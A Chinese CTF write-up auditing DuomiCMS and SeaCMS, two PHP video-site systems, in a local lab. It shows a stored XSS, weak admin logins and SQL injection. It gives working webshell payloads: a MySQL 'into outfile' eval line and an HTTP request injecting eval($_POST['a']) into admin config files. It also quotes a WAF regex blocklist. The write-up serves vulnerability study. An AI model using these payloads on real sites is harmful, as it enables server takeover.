前言
这两个cms是在国赛上遇到的,一道名字是千人骑,一道名字是万人骑。比赛的时候只做了海洋cms的万人骑
由于用的vpn连接,比赛结束后环境没有了,好在修的时候把源码下了下来,后面在windows下搭了简单复现一下
正文
现在重新回来仔细看一遍这两道题目,这两个题目都存在DS_Store泄露,可以用工具把很多文件下载下来
github地址:https://github.com/lijiejie/ds_store_exp
python ds_store_exp.py http://www.example.com/.DS_Store
环境限制就没有试过是什么效果,不过现在复现就不考虑那些了
多米cms
目录结构
D:.
└─upload
├─admin
│ ├─api
│ ├─html
│ ├─kindeditor
│ │ ├─attached
│ │ ├─lang
│ │ ├─php
│ │ ├─plugins
│ │ │ ├─anchor
│ │ │ ├─autoheight
│ │ │ ├─baidumap
│ │ │ ├─clearhtml
│ │ │ ├─code
│ │ │ ├─emoticons
│ │ │ │ └─images
│ │ │ ├─filemanager
│ │ │ │ └─images
│ │ │ ├─fixtoolbar
│ │ │ ├─flash
│ │ │ ├─image
│ │ │ │ └─images
│ │ │ ├─insertfile
│ │ │ ├─lineheight
│ │ │ ├─link
│ │ │ ├─map
│ │ │ ├─media
│ │ │ ├─multiimage
│ │ │ │ └─images
│ │ │ ├─pagebreak
│ │ │ ├─plainpaste
│ │ │ ├─preview
│ │ │ ├─quickformat
│ │ │ ├─table
│ │ │ ├─template
│ │ │ │ └─html
│ │ │ └─wordpaste
│ │ └─themes
│ │ ├─common
│ │ ├─default
│ │ └─simple
│ └─skin
│ ├─css
│ ├─images
│ └─js
├─article
├─articlelist
├─data
│ ├─admin
│ ├─backupdata
│ ├─cache
│ │ └─review
│ │ └─0
│ ├─mark
│ └─sessions
├─detail
├─duomiphp
│ ├─crons
│ ├─data
│ └─inc
├─duomiui
│ └─default
│ ├─css
│ ├─html
│ │ └─mobile
│ ├─images
│ └─js
├─images
├─install
│ ├─images
│ └─templates
├─interface
│ ├─ads
│ └─comment
│ ├─api
│ ├─images
│ └─js
├─list
├─member
│ ├─css
│ └─html
├─mobile
│ ├─detail
│ ├─images
│ ├─list
│ ├─player
│ │ └─html
│ └─video
├─news
├─player
│ └─html
│ ├─chplayer
│ │ └─hls
│ ├─ckplayer
│ │ └─share
│ ├─ckplayerx
│ └─cmp
│ ├─plugins
│ └─skins
│ └─mini
├─topic
├─topiclist
├─uploads
│ ├─allimg
│ ├─editor
│ │ └─image
│ ├─image
│ ├─litimg
│ └─zt
├─video
└─weixin
主界面是一个php+mysql架构的影视管理系统
白盒测试用d盾只扫出一个洞,但是后面排除了
dom型xss
到处翻一遍没有什么问题,只是在留言板块发现一个疑似dom型xss
主要源码如下
if($action=='add')
{
$ip = GetIP();
$dtime = time();
//检查验证码是否正确
$validate = empty($validate) ? '' : strtolower(trim($validate));
$svali = $_SESSION['duomi_ckstr'];
if($validate=='' || $validate != $svali)
{
ResetVdValue();
ShowMsg('验证码不正确!','-1');
exit();
}
//检查留言间隔时间;
if(!empty($cfg_feedback_times))
{
$row = $dsql->GetOne("SELECT dtime FROM `duomi_guestbook` WHERE `ip` = '$ip' ORDER BY `id` DESC ");
if($dtime - $row['dtime'] < $cfg_feedback_times)
{
ShowMsg("留言过快,歇会再来留言吧","-1");
exit();
}
}
$userid = !empty($userid)?intval($userid):0;
$uname = trimMsg($m_author);
$uname = _Replace_Badword($uname);
$msg = trimMsg(cn_substrR($m_content, 1024), 1);
if(!preg_match("/[".chr(0xa1)."-".chr(0xff)."]/",$msg)){
showMsg('你必需输入中文才能发表!','-1');
exit();
}
$reid = empty($reid) ? 0 : intval($reid);
if(!empty($cfg_banwords))
{
$myarr = explode ('|',$cfg_banwords);
for($i=0;$i<count($myarr);$i++)
{
$userisok = strpos($uname, $myarr[$i]);
$msgisok = strpos($msg, $myarr[$i]);
if(is_int($userisok)||is_int($msgisok))
{
showMsg('您发表的评论中有禁用词语!','-1');
exit();
}
}
}
if($msg=='' || $uname=='') {
showMsg('你的姓名和留言内容不能为空!','-1');
exit();
}
$title = HtmlReplace( cn_substrR($title,60), 1 );
if($title=='') $title = '无标题';
$title = _Replace_Badword($title);
if($reid != 0)
{
$row = $dsql->GetOne("Select msg From `duomi_guestbook` where id='$reid' ");
$msg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n".$msg;
}
$msg = _Replace_Badword($msg);
$query = "INSERT INTO `duomi_guestbook`(title,mid,uname,uid,msg,ip,dtime,ischeck)
VALUES ('$title','{$g_mid}','$uname','$userid','$msg','$ip','$dtime','$needCheck'); ";
$dsql->ExecuteNoneQuery($query);
if($needCheck==1)
{
ShowMsg('感谢您的留言,我们会尽快回复您!','../interface/gbook.php',0,3000);
exit();
}
else
{
ShowMsg('成功发送一则留言,但需审核后才能显示!','../interface/gbook.php',0,3000);
exit();
}
}
这里正文的方框限制只能输入中文了,所以这里没有dom型xss
但是留言人那里,只是用这两行代码简单过滤了一下
$uname = trimMsg($m_author);
$uname = _Replace_Badword($uname);
只是删除了前后的空和过滤了敏感字,敏感字后面在后台可以看到
所以在留言者那里是存在一个dom型的xss的
后台弱密码
尝试找一下后台,在admin/login.php成功找到后台
尝试有没有sql注入,一番尝试发现没有
对username和password的过滤如下
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
尝试弱密码并成功登录
username = amdin
password = admin
在后台发现多个上传点
但是尝试后发现各种方法都没用
发现有允许上传后缀的设置
加上php了,但是我却找不到这个会员头像的上传点….
sql写shell
一共有两种getshell方法
一种常规一点(stao大佬的做法),直接从后台的sql执行板块用mysql写shell
在工具–>后台–>SQL管理秘书那里可以执行sql语句
直接执行mysql写shell
select '<?php eval($_POST['a']);?>' into outfile '[路径]';
后台命令执行<1>
这个方法应该是只有代码审计才能找出来的洞
在全局–>百度推送这里写shell(这谁能想到)
这里提交的数据会存在ping.php这个文件里面,而且没有经过过滤
if($action=="set")
{
$weburl= $_POST['weburl'];
$token = $_POST['token'];
$open=fopen("../data/admin/ping.php","w" );
$str='<?php ';
$str.='$weburl = "';
$str.="$weburl";
$str.='"; ';
$str.='$token = "';
$str.="$token";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
}
所以只要在上传的数据上改一下
POST /DuomiCms_x2.0/upload/admin/admin_ping.php?action=set HTTP/1.1
Host: 192.168.1.110
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://192.168.1.110
Connection: close
Referer: http://192.168.1.110/DuomiCms_x2.0/upload/admin/admin_ping.php?action=set
Cookie: PHPSESSID=3ie3i2ujrkr65p2641bpkebet1; __tins__18779617=%7B%22sid%22%3A%201600869368718%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201600871168718%7D; __51cke__=; __51laig__=1
Upgrade-Insecure-Requests: 1
weburl=www.duomicms.net&token=123456789%22%3Beval%28%24_POST%5B%27a%27%5D%29%3B%23
也就是上传token或者weburl为";eval($_POST['a']);#
,ping.php就是这样
后台命令执行<2>
这些漏洞都是代码审计才能找得到的洞,fuzz的话基本只能找个寂寞
在/admin/admin_weixin.php
关键代码
if($action=="set")
{
$isopen = $_POST['isopen'];
$token = $_POST['token'];
$title = htmlspecialchars($_POST['title']);
$url = $_POST['url'];
$ckmov_url = $_POST['ckmov_url'];
$follow = htmlspecialchars($_POST['follow']);
$noc = htmlspecialchars($_POST['noc']);
$dpic = $_POST['dpic'];
$help = htmlspecialchars($_POST['help']);
$topage = $_POST['topage'];
$sql_num = intval($_POST['sql_num']);
$open=fopen("../data/admin/weixin.php","w" );
$str='<?php ';
$str.='define("isopen", "';
$str.="$isopen";
$str.='"); ';
$str.='define("token", "';
$str.="$token";
$str.='"); ';
$str.='define("title", "';
$str.="$title";
$str.='"); ';
$str.='define("url", "';
$str.="$url";
$str.='"); ';
$str.='define("ckmov_url", "';
$str.="$ckmov_url";
$str.='"); ';
$str.='define("follow", "';
$str.="$follow";
$str.='"); ';
$str.='define("noc", "';
$str.="$noc";
$str.='"); ';
$str.='define("dpic", "';
$str.="$dpic";
$str.='"); ';
$str.='define("help", "';
$str.="$help";
$str.='"); ';
$str.='define("topage", "';
$str.="$topage";
$str.='"); ';
$str.='define("sql_num", "';
$str.="$sql_num";
$str.='"); ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
}
?>
post得到的参数没有过滤直接拼接sql
海洋cms
海洋cms和多米cms差不多的,很多文件基本相同,所以漏洞也是非常相似
目录结构
D:.
├─Upload
│ ├─admin
│ │ ├─coplugins
│ │ ├─ebak
│ │ │ ├─bdata
│ │ │ ├─class
│ │ │ ├─closesys
│ │ │ ├─images
│ │ │ ├─inc
│ │ │ ├─lang
│ │ │ │ └─gbutf8
│ │ │ │ ├─pub
│ │ │ │ └─temp
│ │ │ ├─setsave
│ │ │ └─zip
│ │ ├─editor
│ │ │ ├─lang
│ │ │ ├─php
│ │ │ ├─plugins
│ │ │ │ ├─anchor
│ │ │ │ ├─autoheight
│ │ │ │ ├─baidumap
│ │ │ │ ├─clearhtml
│ │ │ │ ├─code
│ │ │ │ ├─emoticons
│ │ │ │ │ └─images
│ │ │ │ ├─filemanager
│ │ │ │ │ └─images
│ │ │ │ ├─fixtoolbar
│ │ │ │ ├─flash
│ │ │ │ ├─image
│ │ │ │ │ └─images
│ │ │ │ ├─insertfile
│ │ │ │ ├─lineheight
│ │ │ │ ├─link
│ │ │ │ ├─map
│ │ │ │ ├─media
│ │ │ │ ├─multiimage
│ │ │ │ │ └─images
│ │ │ │ ├─pagebreak
│ │ │ │ ├─plainpaste
│ │ │ │ ├─preview
│ │ │ │ ├─quickformat
│ │ │ │ ├─table
│ │ │ │ ├─template
│ │ │ │ │ └─html
│ │ │ │ └─wordpaste
│ │ │ └─themes
│ │ │ ├─common
│ │ │ ├─default
│ │ │ ├─qq
│ │ │ └─simple
│ │ ├─img
│ │ ├─js
│ │ └─templets
│ ├─article
│ ├─articlelist
│ ├─comment
│ │ ├─api
│ │ ├─images
│ │ │ └─cmt
│ │ └─js
│ ├─data
│ │ ├─admin
│ │ ├─cache
│ │ ├─mark
│ │ └─sessions
│ ├─detail
│ ├─include
│ │ ├─crons
│ │ ├─data
│ │ ├─inc
│ │ └─webscan
│ ├─install
│ │ ├─images
│ │ └─templates
│ ├─js
│ │ ├─ads
│ │ └─player
│ │ ├─ckplayerX
│ │ │ └─hls
│ │ └─dplayer
│ │ └─images
│ ├─list
│ ├─news
│ ├─pic
│ │ ├─faces
│ │ ├─member
│ │ ├─slide
│ │ └─zt
│ ├─templets
│ │ └─default
│ │ ├─html
│ │ │ ├─block
│ │ │ ├─index
│ │ │ ├─public
│ │ │ ├─seo
│ │ │ └─vod
│ │ └─images
│ │ ├─css
│ │ ├─fonts
│ │ ├─icon
│ │ ├─img
│ │ └─js
│ │ └─layer
│ │ └─theme
│ │ └─default
│ ├─topic
│ ├─topiclist
│ ├─uploads
│ │ ├─allimg
│ │ ├─editor
│ │ │ └─image
│ │ ├─litimg
│ │ └─zt
│ ├─video
│ └─weixin
└─海洋CMS火车采集模块接口
├─文章模块及接口
└─视频模块及接口
主界面是php+mysql架构的影视管理系统
这个界面和多米的差不多,再从留言那里看看
输入点也是留言人和内容,看一下主要源码
if($action=='add')
{
$ip = GetIP();
$dtime = time();
//检查验证码是否正确
if($cfg_feedback_ck=='1')
{
$validate = empty($validate) ? '' : strtolower(trim($validate));
$svali = $_SESSION['sea_ckstr'];
if($validate=='' || $validate != $svali)
{
ResetVdValue();
ShowMsg('验证码不正确!','-1');
exit();
}
}
//检查留言间隔时间;
if(!empty($cfg_feedback_times))
{
$row = $dsql->GetOne("SELECT dtime FROM `sea_guestbook` WHERE `ip` = '$ip' ORDER BY `id` DESC ");
if($dtime - $row['dtime'] < $cfg_feedback_times)
{
ShowMsg("留言过快,歇会再来留言吧","-1");
exit();
}
}
$userid = !empty($userid)?intval($userid):0;
$uname = trimMsg($m_author);
$uname = _Replace_Badword($uname);
$msg = trimMsg(cn_substrR($m_content, 1024), 1);
if(!preg_match("/[".chr(0xa1)."-".chr(0xff)."]/",$msg)){
showMsg('你必需输入中文才能发表!','-1');
exit();
}
$reid = empty($reid) ? 0 : intval($reid);
if(!empty($cfg_banwords))
{
$myarr = explode ('|',$cfg_banwords);
for($i=0;$i<count($myarr);$i++)
{
$userisok = strpos($uname, $myarr[$i]);
$msgisok = strpos($msg, $myarr[$i]);
if(is_int($userisok)||is_int($msgisok))
{
showMsg('您发表的评论中有禁用词语!','-1');
exit();
}
}
}
if($msg=='' || $uname=='') {
showMsg('你的姓名和留言内容不能为空!','-1');
exit();
}
$title = HtmlReplace( cn_substrR($title,60), 1 );
if($title=='') $title = '无标题';
$title = _Replace_Badword($title);
if($reid != 0)
{
$row = $dsql->GetOne("Select msg From `sea_guestbook` where id='$reid' ");
$msg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n".$msg;
}
$msg = _Replace_Badword($msg);
$query = "INSERT INTO `sea_guestbook`(title,mid,uname,uid,msg,ip,dtime,ischeck)
VALUES ('$title','{$g_mid}','$uname','$userid','$msg','$ip','$dtime','$needCheck'); ";
$dsql->ExecuteNoneQuery($query);
if($needCheck==1)
{
ShowMsg('感谢您的留言,我们会尽快回复您!','gbook.php',0,3000);
exit();
}
else
{
ShowMsg('成功发送一则留言,但需审核后才能显示!','gbook.php',0,3000);
exit();
}
}
也是留言内容限制只能中文,但是留言人那里做了严格过滤
输入的内容赋值给m_author变量,然后对变量进行过滤
一步步跟过去发现最终的正则匹配语句
//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//post拦截规则
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//cookie拦截规则
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
这里对script和sql语句都进行了过滤了,要xss或者sql注入恐怕是不可能的了
后台弱密码
后面搭的环境动态生成了管理员目录,不过比赛的时候后台就在/manager/login.php
弱密码可以成功登录
username = admin
password = amdin
sql注入
白盒测试发现admin_vedio.php存在sql注入漏洞
关键代码
$v_extratype = $_POST[v_type_extra];
$v_extrajqtype = $_POST[v_jqtype_extra];
处理部分
$v_extratype=implode(",",$v_extratype); //获取扩展分类数组
$v_jq=implode(",",$v_extrajqtype); //获取剧情分类数组
然后直接拼接sql语句
$insertSql = "insert into sea_data(tid,v_name,v_letter,v_state,v_topic,v_hit,v_money,v_rank,v_actor,v_color,v_publishyear,v_publisharea,v_pic,v_spic,v_gpic,v_addtime,v_note,v_tags,v_lang,v_score,v_scorenum,v_director,v_enname,v_commend,v_extratype,v_jq,v_nickname,v_reweek,v_douban,v_mtime,v_imdb,v_tvs,v_company,v_dayhit,v_weekhit,v_monthhit,v_len,v_total,v_daytime,v_weektime,v_monthtime,v_ver,v_psd,v_longtxt,v_digg,v_tread) values ('$tid','$v_name','$v_letter','$v_state','$v_topic','$v_hit','$v_money','$v_rank','$v_actor','$v_color','$v_publishyear','$v_publisharea','$v_pic','$v_spic','$v_gpic','$v_addtime','$v_note','$v_tags','$v_lang','$v_score','$v_scorenum','$v_director','$v_enname','$v_commend','$v_extratype','$v_jq','$v_nickname','$v_reweek','$v_douban','$v_mtime','$v_imdb','$v_tvs','$v_company','$v_dayhit','$v_weekhit','$v_monthhit','$v_len','$v_total','$v_daytime','$v_weektime','$v_monthtime','$v_ver','$v_psd','$v_longtxt','$v_digg','$v_tread')";
故存在sql注入漏洞
sql写shell
sql写shell和多米的一样
后台命令执行<1>
后台命令执行和多米的后台命令执行<1>也是一样
后台命令执行<2>
后台命令执行和多米的后台命令执行<2>也是一样
后台命令执行<3>
这些命令执行漏洞都是代码审计才能找到的
位置:/admin/admin_ip.php
关键代码:
if($action=="set")
{
$v= $_POST['v'];
$ip = $_POST['ip'];
$open=fopen("../data/admin/ip.php","w" );
$str='<?php ';
$str.='$v = "';
$str.="$v";
$str.='"; ';
$str.='$ip = "';
$str.="$ip";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_ip.php");
exit;
}
没有过滤就直接拼接,然后写到php文件里面
后台命令执行<4>
位置:/admin/admin_notify.php
关键代码:
if($action=="set")
{
$notify1= $_POST['notify1'];
$notify2= $_POST['notify2'];
$notify3= $_POST['notify3'];
$open=fopen("../data/admin/notify.php","w" );
$str='<?php ';
$str.='$notify1 = "';
$str.="$notify1";
$str.='"; ';
$str.='$notify2 = "';
$str.="$notify2";
$str.='"; ';
$str.='$notify3 = "';
$str.="$notify3";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_notify.php");
exit;
}
也是没有过滤就直接拼接,然后写到php文件里面
结尾
还是太菜….继续学吧
本文地址: 多米&海洋cms代码审计